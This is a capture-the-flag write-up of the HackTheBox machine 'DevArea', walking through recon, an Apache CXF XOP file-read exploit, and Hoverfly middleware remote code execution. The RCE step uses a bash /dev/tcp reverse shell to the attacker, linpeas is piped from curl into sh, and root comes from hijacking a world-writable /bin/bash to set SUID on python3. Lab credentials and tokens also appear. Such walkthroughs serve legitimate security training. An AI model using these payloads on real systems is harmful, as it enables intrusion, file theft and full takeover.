HackTheBox - DevArea

Updated 31-03-2026

A Linux machine where a publicly exposed JAR file reveals a vulnerable internal SOAP service, and a chain of misconfigurations — from exposed credentials to a world-writable binary — leads all the way to root.

Recon

Nmap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
$ ip=10.129.20.60; ports=$(nmap -p- --min-rate=1000 -T4 $ip | grep '^[0-9]' | cut -d '/' -f 1 | tr '
' ',' | sed s/,$//); nmap -p$ports -sC -sV $ip
Starting Nmap 7.98 ( https://nmap.org ) at 2026-03-31 06:46 -0400
Nmap scan report for 10.129.20.60
Host is up (0.20s latency).

PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.5
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_drwxr-xr-x 2 ftp ftp 4096 Sep 22 2025 pub
| ftp-syst:
| STAT:
| FTP server status:
| Connected to ::ffff:10.10.16.27
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 1
| vsFTPd 3.0.5 - secure, fast, stable
|_End of status
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.15 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 83:13:6b:a1:9b:28:fd:bd:5d:2b:ee:03:be:9c:8d:82 (ECDSA)
|_ 256 0a:86:fa:65:d1:20:b4:3a:57:13:d1:1a:c2:de:52:78 (ED25519)
80/tcp open http Apache httpd 2.4.58
|_http-server-header: Apache/2.4.58 (Ubuntu)
|_http-title: Did not follow redirect to http://devarea.htb/
8080/tcp open http Jetty 9.4.27.v20200227
|_http-server-header: Jetty(9.4.27.v20200227)
|_http-title: Error 404 Not Found
8500/tcp open http Golang net/http server
|_http-title: Site doesn't have a title (text/plain; charset=utf-8).
| fingerprint-strings:
| FourOhFourRequest:
| HTTP/1.0 500 Internal Server Error
| Content-Type: text/plain; charset=utf-8
| X-Content-Type-Options: nosniff
| Date: Tue, 31 Mar 2026 10:47:26 GMT
| Content-Length: 64
| This is a proxy server. Does not respond to non-proxy requests.
| GenericLines, Help, LPDString, RTSPRequest, SIPOptions, SSLSessionReq, Socks5:
| HTTP/1.1 400 Bad Request
| Content-Type: text/plain; charset=utf-8
| Connection: close
| Request
| GetRequest, HTTPOptions:
| HTTP/1.0 500 Internal Server Error
| Content-Type: text/plain; charset=utf-8
| X-Content-Type-Options: nosniff
| Date: Tue, 31 Mar 2026 10:47:07 GMT
| Content-Length: 64
|_ This is a proxy server. Does not respond to non-proxy requests.
8888/tcp open http Golang net/http server (Go-IPFS json-rpc or InfluxDB API)
|_http-title: Hoverfly Dashboard
Service Info: Host: _; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 46.66 seconds

Several ports of interest:

  • 21/tcp — vsftpd 3.0.5 with anonymous login allowed
  • 80/tcp — Apache redirecting to devarea.htb
  • 8080/tcp — Jetty 9.4.27 (Java application server)
  • 8500/tcp — Go proxy server
  • 8888/tcpHoverfly Dashboard

Foothold

Hosts File

1
$ echo '10.129.20.60 devarea.htb' | sudo tee -a /etc/hosts

FTP — JAR File Download

Anonymous FTP exposes a pub/ directory containing a compiled Java application:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
$ ftp devarea.htb                                                                              
Connected to devarea.htb.
220 (vsFTPd 3.0.5)
Name (devarea.htb:kali): anonymous
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
229 Entering Extended Passive Mode (|||41000|)
150 Here comes the directory listing.
drwxr-xr-x 2 ftp ftp 4096 Sep 22 2025 pub
226 Directory send OK.
ftp> cd pub
250 Directory successfully changed.
ftp> ls
229 Entering Extended Passive Mode (|||43952|)
150 Here comes the directory listing.
-rw-r--r-- 1 ftp ftp 6445030 Sep 22 2025 employee-service.jar
226 Directory send OK.
ftp> get employee-service.jar
local: employee-service.jar remote: employee-service.jar
229 Entering Extended Passive Mode (|||42610|)
150 Opening BINARY mode data connection for employee-service.jar (6445030 bytes).
100% |******************************************************************************| 6293 KiB 1.01 MiB/s 00:00 ETA
226 Transfer complete.
6445030 bytes received in 00:06 (991.14 KiB/s)

JAR Decompilation — SOAP Service Discovery

Extract and decompile the JAR:

1
$ unzip employee-service.jar -d employee-service
1
2
3
4
$ jadx /home/kali/employee-service/htb/devarea/ServerStarter.class -d /home/kali/employee-service/htb/devarea/ServerStarter
INFO - loading ...
INFO - processing ...
INFO - done

The decompiled ServerStarter.java reveals an Apache CXF SOAP service running on the Jetty server:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
$ cat ServerStarter.java      
package htb.devarea;

import org.apache.cxf.jaxws.JaxWsServerFactoryBean;

/* JADX INFO: loaded from: ServerStarter.class */
public class ServerStarter {
public static void main(String[] args) {
JaxWsServerFactoryBean factory = new JaxWsServerFactoryBean();
factory.setServiceClass(EmployeeService.class);
factory.setServiceBean(new EmployeeServiceImpl());
factory.setAddress("http://0.0.0.0:8080/employeeservice");
factory.create();
System.out.println("Employee Service running at http://localhost:8080/employeeservice");
System.out.println("WSDL available at http://localhost:8080/employeeservice?wsdl");
}
}

CVE-2022-46364 — Apache CXF MTOM/XOP LFI

The submitReport SOAP operation is exposed at http://devarea.htb:8080/employeeservice. This version of Apache CXF is vulnerable to CVE-2022-46364, an LFI via MTOM/XOP — when the service processes a multipart SOAP request containing an XOP Include element, it fetches the referenced URI server-side, allowing arbitrary local file reads.

Confirm the vulnerability by reading /etc/passwd:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
$ curl -s http://devarea.htb:8080/employeeservice?wsdl \
-H 'Content-Type: multipart/related; type="application/xop+xml"; boundary="MIMEBoundary"; start="<root.message@cxf.apache.org>"; start-info="text/xml"' \
--data-binary $'--MIMEBoundary\r\nContent-Type: application/xop+xml; charset=UTF-8; type="text/xml"\r\nContent-Transfer-Encoding: 8bit\r\nContent-ID: <root.message@cxf.apache.org>\r\n\r\n<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">\r\n <soap:Body>\r\n <ns2:submitReport xmlns:ns2="http://devarea.htb/">\r\n <arg0>\r\n <confidential>true</confidential>\r\n <content><inc:Include href="file:///etc/passwd" xmlns:inc="http://www.w3.org/2004/08/xop/include"/></content> \r\n <department>test</department>\r\n <employeeName>test</employeeName>\r\n </arg0>\r\n </ns2:submitReport>\r\n </soap:Body>\r\n</soap:Envelope>\r\n--MIMEBoundary--' \
| grep -oP '(?<=Content: ).*(?=</return>)' | base64 -d
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
<--SNIP-->

Reading the Hoverfly Service Configuration

Use the same LFI to read the systemd unit file for the Hoverfly service running on 8888:

1
<content><inc:Include href="file:///etc/systemd/system/hoverfly.service" xmlns:inc="http://www.w3.org/2004/08/xop/include"/></content>

The file exposes plaintext credentials passed as command-line arguments:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
[Unit]
Description=HoverFly service
After=network.target

[Service]
User=dev_ryan
Group=dev_ryan
WorkingDirectory=/opt/HoverFly
ExecStart=/opt/HoverFly/hoverfly -add -username admin -password O7IJ27MyyXiU -listen-on-host 0.0.0.0

Restart=on-failure
RestartSec=5
StartLimitIntervalSec=60
StartLimitBurst=5
LimitNOFILE=65536
StandardOutput=journal
StandardError=journal

[Install]
WantedBy=multi-user.target

CVE-2025-54123 — Hoverfly Middleware RCE

Log in to the Hoverfly Dashboard at http://devarea.htb:8888/ with admin:O7IJ27MyyXiU. The running version is 1.11.3, which is vulnerable to CVE-2025-54123 — an RCE via the /api/v2/hoverfly/middleware endpoint. Hoverfly passes requests through a configurable middleware binary and script without sufficient validation, allowing arbitrary command execution as the service user.

Start a listener:

1
$ nc -lnvp 4444

Inject the reverse shell via the middleware API:

1
2
3
4
5
6
7
8
9
10
11
12
13
$ curl -X PUT 'http://devarea.htb:8888/api/v2/hoverfly/middleware' \
-H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0' \
-H 'Accept: application/json, text/plain, */*' \
-H 'Accept-Language: en-US,en;q=0.5' \
-H 'Accept-Encoding: gzip, deflate' \
-H 'Authorization: Bearer eyJhbGciOiJIUzUxMiIsInR5cCI6IkpXVCJ9.eyJleHAiOjIwODYwMTU5MzUsImlhdCI6MTc3NDk3NTkzNSwic3ViIjoiIiwidXNlcm5hbWUiOiJhZG1pbiJ9.XiBa3U3cCvyg9Elozh-Hp92Aon6_MduE3g6031UYMNehuiHS35hvzEtdQt8tIR_TO2SGgyI-sn5o1Z3oErn2pA' \
-H 'Connection: keep-alive' \
-H 'Referer: http://devarea.htb:8888/dashboard' \
-H 'Content-Type: application/json' \
--data-raw '{
"binary": "/bin/bash",
"script": "/bin/bash -i >& /dev/tcp/10.10.16.27/4444 0>&1"
}'

A shell connects as dev_ryan:

1
2
3
4
connect to [10.10.16.27] from (UNKNOWN) [10.129.20.60] 45746
bash: cannot set terminal process group (1432): Inappropriate ioctl for device
bash: no job control in this shell
dev_ryan@devarea:/opt/HoverFly$

The user flag is accessible from here.


Privilege Escalation

World-Writable /bin/bash via sudo Script Hijack

Check sudo permissions:

1
2
3
4
5
6
7
8
9
dev_ryan@devarea:~$ sudo -l
Matching Defaults entries for dev_ryan on devarea:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
use_pty

User dev_ryan may run the following commands on devarea:
(root) NOPASSWD: /opt/syswatch/syswatch.sh, !/opt/syswatch/syswatch.sh
web-stop, !/opt/syswatch/syswatch.sh web-restart

dev_ryan can run /opt/syswatch/syswatch.sh as root without a password, but the script itself is not readable. A ZIP of the source code is in the home directory:

1
2
3
4
dev_ryan@devarea:~$ ls
syswatch-v1.zip
user.txt
dev_ryan@devarea:~$ unzip syswatch-v1.zip

Reviewing setup.sh points to a service environment file, and following that chain leads us to the SysWatch configuration:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
dev_ryan@devarea:~/syswatch$ cat /etc/systemd/system/syswatch-monitor.service
[Unit]
Description=SysWatch Monitor Runner

[Service]
Type=oneshot
User=root
Group=root
EnvironmentFile=/etc/syswatch.env
ExecStart=/bin/bash /opt/syswatch/monitor.sh

dev_ryan@devarea:~/syswatch$ cat /etc/syswatch.env
SYSWATCH_SECRET_KEY=f3ac48a6006a13a37ab8da0ab0f2a3200d8b3640431efe440788beaefa236725
SYSWATCH_ADMIN_PASSWORD=SyswatchAdmin2026
SYSWATCH_LOG_DIR=/opt/syswatch/logs
SYSWATCH_DB_PATH=/opt/syswatch/syswatch_gui/syswatch.db
SYSWATCH_PLUGIN_DIR=/opt/syswatch/plugins
SYSWATCH_BACKUP_DIR=/opt/syswatch/backup
SYSWATCH_VERSION=1.0.0

Internal port enumeration shows a SysWatch service listening on 7777, but it leads nowhere useful.

Running LinPEAS for automated enumeration reveals a critical misconfiguration:

1
$ curl http://10.10.16.27/linpeas.sh | sh
1
2
╔══════════╣ Writable root-owned executables I can modify (max 200)
-rwxrwxrwx 1 root root 43 Mar 31 16:33 /usr/bin/bash
1
2
dev_ryan@devarea:~$ ls -la /bin/bash
-rwxrwxrwx 1 root root 1446024 Mar 31 2024 /bin/bash

/bin/bash is world-writable. Since syswatch.sh begins with #!/bin/bash, replacing the binary with a malicious payload means that when the script runs as root via sudo, our payload executes as root. The plan is to replace /bin/bash with a script that sets the SUID bit on /usr/bin/python3, then use that to pop a root shell.

First, drop into sh to free /bin/bash from the current process:

1
$ python3 -c 'import pty; pty.spawn("/bin/sh")'

Kill any remaining bash processes holding the binary open:

1
$ kill -9 $(ps aux | grep '/bin/bash' | grep -v grep | awk '{print $2}')

Back up the original binary and write the payload:

1
2
3
4
$ cp /bin/bash /tmp/bash.bak
$ echo '#!/tmp/bash.bak' > /tmp/bash_payload
$ echo 'chmod u+s /usr/bin/python3' >> /tmp/bash_payload
$ chmod +x /tmp/bash_payload

Attempting to overwrite /bin/bash still fails at this point:

1
2
$ cp /tmp/bash_payload /bin/bash
cp: cannot create regular file '/bin/bash': Text file busy

fuser shows processes still holding the binary open:

1
2
3
4
5
6
7
$ fuser -v /bin/bash 2>/dev/null
33528 33534 33537
$ lsof /bin/bash 2>/dev/null
COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME
bash 33528 dev_ryan txt REG 252,0 1446024 511 /usr/bin/bash
bash 33534 dev_ryan txt REG 252,0 1446024 511 /usr/bin/bash
bash 33537 dev_ryan txt REG 252,0 1446024 511 /usr/bin/bash

Kill them:

1
$ kill -9 33528 33534 33537

Now overwrite /bin/bash with the payload successfully:

1
$ cp /tmp/bash_payload /bin/bash

Trigger the sudo script to execute the payload as root:

1
$ sudo /opt/syswatch/syswatch.sh

Verify the SUID bit is set on python3:

1
2
3
4
$ ls -la /usr/bin/python3
lrwxrwxrwx 1 root root 10 Nov 12 12:15 /usr/bin/python3 -> python3.12

$ ls -la /usr/bin/python3.12

Spawn a root shell:

1
2
3
$ python3 -c 'import os; os.setuid(0); os.system("/bin/sh")'
# whoami
root